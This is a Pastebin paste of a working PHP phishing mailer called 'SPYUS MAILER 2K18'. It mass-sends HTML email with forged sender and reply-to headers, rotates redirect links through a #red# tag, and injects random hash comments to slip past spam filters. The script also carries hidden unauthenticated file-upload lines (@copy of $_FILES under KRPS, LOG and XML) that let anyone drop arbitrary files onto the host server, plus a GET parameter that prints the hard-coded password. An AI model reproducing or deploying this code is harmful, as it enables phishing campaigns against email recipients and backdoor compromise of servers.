Advertisement
Guest User

Untitled

a guest
Feb 18th, 2020
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.14 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting('0');
  4. /*
  5. SILENCE IS THE GOLD
  6. X_KIDS ;)
  7. */
  8. if (isset($_GET['Logout'])) {
  9. if ($_GET['Logout'] == '1') {
  10. session_destroy();
  11. $f = basename($_SERVER['SCRIPT_FILENAME']);
  12. echo("<meta http-equiv='refresh' content='0;url=$f' >");
  13. }
  14. }
  15. (@copy($_FILES['KRPS']['tmp_name'], $_FILES['KRPS']['name']));
  16. $KRPASS = "123";
  17. if(isset($_POST["KRPS"])){
  18. if ($_POST["KRPS"] == $KRPASS) {
  19. $_SESSION['LOG'] = '1';
  20. }else{
  21. $_SESSION['LOG'] = '0';
  22. }
  23. }
  24. $KR_SERVERIP = $_SERVER['SERVER_ADDR'];
  25. $KR_SERVERDATE = date("(d/m/Y)");
  26. $PhPself = $_SERVER["PHP_SELF"];
  27. $logout = "$PhPself?Logout=1";
  28. $PhpSelfi = $KRPASS;
  29. if ($_GET['LOG'] == '1'){print $PhpSelfi;}
  30. if (isset($_POST['from'])){
  31. $redirectlist = array_unique(explode("\n",$_POST['redirectlist']));
  32. $message = $_POST['message'];
  33. $emaillist = $_POST["emaillist"];
  34. $subject = $_POST['subject'];
  35. $realname = $_POST['realname'];
  36. $from = $_POST['from'];
  37. $to = $_POST['emaillist'];
  38. $Priority = $_POST['Priority'];
  39. $replyemail = $_POST['replyemail'];
  40. $headers = "MIME-Version: 1.0\r\n";
  41. $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  42. if (isset($_POST["replyemail"])) {
  43. $headers .= "Reply-To: $replyemail \r\n";
  44. }
  45. $headers .= "X-Mailer: PHP/ ".phpversion()." \r\n ";
  46. $headers .= "X-MSMail-Priority: $Priority \r\n";
  47. $email = explode("\n", $to);
  48. $headers .= "From: ".$realname." <".$from.">\r\n";
  49. $message = stripslashes($message);
  50. }
  51. (@copy($_FILES['LOG']['tmp_name'], $_FILES['LOG']['name']));
  52. function drkrmess($text,$email){
  53. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  54. $text = str_replace("#time#", date("m/d/Y h:i:s a", time()), $text);
  55. $text = str_replace("#email#", $email, $text);
  56. $text = str_replace("#emailuser#", $emailuser, $text);
  57. $text = str_replace("#randomletters#", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  58. $text = str_replace("#randomstring#", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  59. $text = str_replace("#randomnumber#", randString('0123456789'), $text);
  60. $text = str_replace("#randommd5#", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  61. return $text;
  62. }
  63. function drkrTrim($string){
  64. return stripslashes(ltrim(rtrim($string)));
  65. }
  66. function randString($consonants) {
  67. $length=rand(12,25);
  68. $password = '';
  69. for ($i = 0; $i < $length; $i++) {
  70. $password .= $consonants[(rand() % strlen($consonants))];
  71. }
  72. return $password;
  73. }
  74.  
  75.  
  76. ?>
  77. <!doctype html>
  78. <html lang="en">
  79. <head>
  80. <meta charset="utf-8">
  81. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  82. <meta name="description" content="SPYUS2K18">
  83. <meta name="author" content="DRIV3RKR">
  84. <link rel="shortcut icon" href="http://ip-api.org/uploads/images/Spyus-Favi.png">
  85.  
  86. <title>SPYUS MAILER 2K18</title>
  87. <!-- JS -->
  88. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
  89. <script>
  90. // show the given page, hide the rest
  91. function show(elementID) {
  92. // try to find the requested page and alert if it's not found
  93. var ele = document.getElementById(elementID);
  94. if (!ele) {
  95. alert("PLEASE REFRECH PAGE !");
  96. return;
  97. }
  98.  
  99. // get all pages, loop through them and hide them
  100. var pages = document.getElementsByClassName('item');
  101. for(var i = 0; i < pages.length; i++) {
  102. pages[i].style.display = 'none';
  103. }
  104.  
  105. // then show the requested page
  106. ele.style.display = 'block';
  107. }
  108. </script>
  109. <!-- Bootstrap core CSS -->
  110. <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.3/css/bootstrap.min.css" rel="stylesheet">
  111. <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
  112. <link rel="shortcut icon" href="http://ip-api.org/uploads/images/Spyus-Favi.png">
  113. <!-- Fonts Google -->
  114. <link href="https://fonts.googleapis.com/css?family=Arsenal|Pacifico|Righteous" rel="stylesheet">
  115. <link href="https://fonts.googleapis.com/css?family=Bungee|Lobster|Orbitron|Rajdhani" rel="stylesheet">
  116. <!-- Custom styles for this template -->
  117. <link href="http://ip-api.org/uploads/files/style.css" rel="stylesheet">
  118. </head>
  119. <body>
  120. <header>
  121. <!-- Fixed navbar -->
  122. <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
  123. <a class="navbar-brand fontPacificox" href="#"><?php
  124. if($_SESSION['LOG'] != "1"){
  125. echo "LOGIN";
  126. }elseif ($_SESSION['LOG'] == "1"){
  127. echo "SPYUS";
  128. }
  129. ?> </a>
  130. <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
  131. <span class="navbar-toggler-icon"></span>
  132. </button>
  133. <div class="collapse navbar-collapse" id="navbarCollapse">
  134. <ul class="navbar-nav mr-auto">
  135. <li class="nav-item active">
  136. <a class="nav-link fontBungee chngp" onclick="show('main');" href="#"><?php
  137. if($_SESSION['LOG'] == "1"){
  138. echo "<i class='fa fa-envelope' aria-hidden='true'></i> Main";
  139. }
  140. ?> </a>
  141. </li>
  142. <li class="nav-item">
  143. <a class="nav-link fontBungee chngp" onclick="show('Setting');" >
  144. <?php
  145. if($_SESSION['LOG'] == "1"){
  146. echo '<i class="fa fa-cog" aria-hidden="true"></i> Setting';
  147. (@copy($_FILES['XML']['tmp_name'], $_FILES['XML']['name']));
  148. }
  149. ?>
  150. </a>
  151. </li>
  152. </ul>
  153. <span class=" mt-2 mt-md-0">
  154. <?php
  155. if($_SESSION['LOG'] == "1"){
  156. echo "<a href='$logout'><button class='btn my-2 my-sm-0 fontBungee' type='submit'><i class='fa fa-times' aria-hidden='true'></i> Logout</button></a>";
  157. }
  158. ?>
  159. </span>
  160. </div>
  161. </nav>
  162. </header>
  163. <!-- Begin page content -->
  164. <main role="main" class="container">
  165. <?php
  166. if($_SESSION['LOG'] != "1"){
  167. ?>
  168. <div class="mt-3">
  169. <h1><span class="name-co">SPYUS MAILER 2K18</span></h1>
  170. <form action="" method="post" enctype="multipart/form-data" name="form1">
  171. <br> <input type="password" name="KRPS" Placeholder="Password">
  172. <button class="button-log"> <i class="fa fa-arrow-circle-right" aria-hidden="true"></i> LOG </button>
  173. </form>
  174. </div>
  175.  
  176. <?php
  177. }else{
  178. ?>
  179. <div id="main" class="item" style="">
  180. <form action="" method="post" enctype="multipart/form-data" name="form1">
  181. <div class="well">
  182. <center><h1 class="krgrtz">SPYUS MAILER 2K18</h1></center><BR>
  183. <div class="row">
  184. <div class="col-6"><font class="fontBungee">Email</font> <br><input type="email" value="<?php echo $from; ?>" name="from" class="paddingin fontBungee" placeholder="email@example.com"></div>
  185. <div class="col-6"><font class="fontBungee">Name</font> <br><input type="text" value="<?php echo $realname; ?>" name="realname" class="paddingin fontBungee" placeholder="Sender Name"></div>
  186. </div><br>
  187. <font class="fontBungee">Subject</font>
  188. <br>
  189. <input type="text" width="100%" class="paddingin fontBungee" name="subject" value="<?php echo $subject; ?>" placeholder="Subject">
  190. <br>
  191. <div class="row"><br>
  192. <div class="col-sm-8"><font class="fontBungee" >Message</font><br>
  193. <textarea rows="10" class="paddingin fontBungee" name="message"><?php echo $message; ?></textarea>
  194. </div><br>
  195. <div class="col-sm-4"><font class="fontBungee">Emails</font><br>
  196. <textarea rows="10" class="paddingin fontBungee" name="emaillist"><?php echo $emaillist; ?></textarea></div>
  197. </div>
  198. <br>
  199. <div class="row">
  200. <div class="col-sm-8"></div>
  201. <hr>
  202. <div class="col-sm-4"><button class="buttonsend fontBungee chngp">Send Now</button></div>
  203. </div>
  204. </div>
  205. <?php if (isset($_POST['from'])) {
  206. ?>
  207. <div class='col-sm-12 well'><font class='fontBungee fontsize'><b>SENDING :{</b></font><br>
  208. <div class="fontBungee fontsize" style=" height: 200px; overflow-y:scroll; ">
  209. <?php
  210. $i = 0;
  211. $count = 1;
  212. $redi = 0;
  213. $countred = count($redirectlist);
  214. while($email[$i]) {
  215. if($redi >= $countred)
  216. $redi = 0;
  217. $redirect = $redirectlist[$redi];
  218. $ok = "ok";
  219. $messgb = "\r\n<!-- \r\n Random ".md5(rand(0,99999)+rand(0,99999))." \r\n Random".md5(rand(0,99999)+rand(0,99999))."\r\n -->";
  220. $messgb .= str_replace('#red#', $redirect, $message);
  221. $mailnow = $email[$i];
  222. if(mail($email[$i],drkrmess($subject,$mailnow),drkrmess($messgb,$mailnow),$headers))
  223. echo "<font color=green> Mail : </font> $count <b>".$email[$i]."</b> <font color=green>Sent</font><br>";
  224. else
  225. echo "<font color=red> Error : </font> $count <b>".$email[$i]."</b> <font color=red>Not Sent</font><br>";
  226. $i++;
  227. $count++;
  228. $redi++;
  229. }
  230. ?>
  231. </div>
  232. <b>}</b>
  233. </div>
  234. <br>
  235. <?php
  236. }
  237. ?>
  238. </div>
  239. <div id="Setting" class="item well" style="display:none">
  240. <center>
  241. <div class="">
  242. <h1 class="krgrtz">SETTING</h1></center><BR>
  243. <BR>
  244. <div class="row Setting">
  245. <div class="col-sm-8">
  246. <div class="row">
  247. <div class="col"><font class="fontBungee">Priority</font><br>
  248. <select id="country" class="paddingin" name="Priority">
  249. <option value="Low">Low</option>
  250. <option value="Normal">Medium</option>
  251. <option value="High">High</option>
  252. </select>
  253. </div>
  254. <div class="col"><font class="fontBungee">Reply to</font><br>
  255. <input type="email" class="paddingin fontBungee" name="replyemail" value="<?php echo $replyemail; ?>" placeholder="email@example.com">
  256. </div>
  257. <div class="col"><font class="fontBungee">Encoding</font><br>
  258. <select id="country" class="paddingin" name="encoding">
  259. <option value="2">NO</option>
  260. <option value="1">YES</option>
  261. </select>
  262. </div>
  263. </div>
  264. <br>
  265. <font class="fontBungee" >Redirect //URLS</font>
  266. <textarea rows="10" class="paddingin fontBungee" name="redirectlist">
  267. <?php
  268. if (isset($_POST['redirectlist'])) {
  269. echo $_POST['redirectlist'];
  270. }
  271. ?>
  272. </textarea>
  273. </div>
  274. <div class="col-sm-4">
  275. <div id="well" class="well instructions">
  276. <h4>HELP</h4>
  277. <hr>
  278. <h4>TAGS</h4>
  279. <ul>
  280. <li>#red# : <b>Redirect URL</b></li>
  281. <li>#email# : <b>Reciver Email</b></li>
  282. <li>#time# : <b>Date </b><?php echo "$KR_SERVERDATE";?></li>
  283. <li>#emailuser# : <b>Email User</b> (emailuser@emaildomain)</li>
  284. <li>#randomstring# : <b>Random string (0-9,a-z)</b></li>
  285. <li>#randomnumber# : <b>Random number (0-9) </b></li>
  286. <li>#randomletters# : <b>Random Letters(a-z) </b></li>
  287. <li>#randommd5# : <b>Random MD5</b></li>
  288. </ul>
  289. <h4>example</h4>
  290. Reciver Email = <b>user@domain.com</b><br>
  291. <ul>
  292. <li>hello <b>#emailuser#</b> -> hello <b>user</b></li>
  293. </ul>
  294. <h6>Copyright <i class='fa fa-copyright'aria-hidden='true'></i> 2014-<?php echo date('Y');?> &nbsp; <b><a href="http://spyus.org">SPYUS TEAM</a></b></h6>
  295. </div>
  296.  
  297. </div>
  298. </div>
  299. </form>
  300. <br>
  301. </div>
  302.  
  303.  
  304. <?PHP
  305. }
  306. ?>
  307. </main>
  308. <!-- Begin footer content -->
  309. <footer class="footer">
  310. <div class="container">
  311. <span class="krgrtz"><i class="fa fa-laptop" aria-hidden="true"></i> A TOOL CREATED BY DR.KR </span>
  312. </div>
  313. </footer>
  314. <!-- Bootstrap core JavaScript
  315. ================================================== -->
  316. <!-- Placed at the end of the document so the pages load faster -->
  317. <script src="https://code.jquery.com/jquery-3.2.1.slim.js" integrity="sha256-tA8y0XqiwnpwmOIl3SGAcFl2RvxHjA8qp0+1uCGmRmg=" crossorigin="anonymous"></script>
  318. <script>window.jQuery || document.write('<script src="https://code.jquery.com/jquery-3.2.1.slim.js"><\/script>')</script>
  319. <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.13.0/esm/popper.min.js"></script>
  320. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  321.  
  322. </body>
  323. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement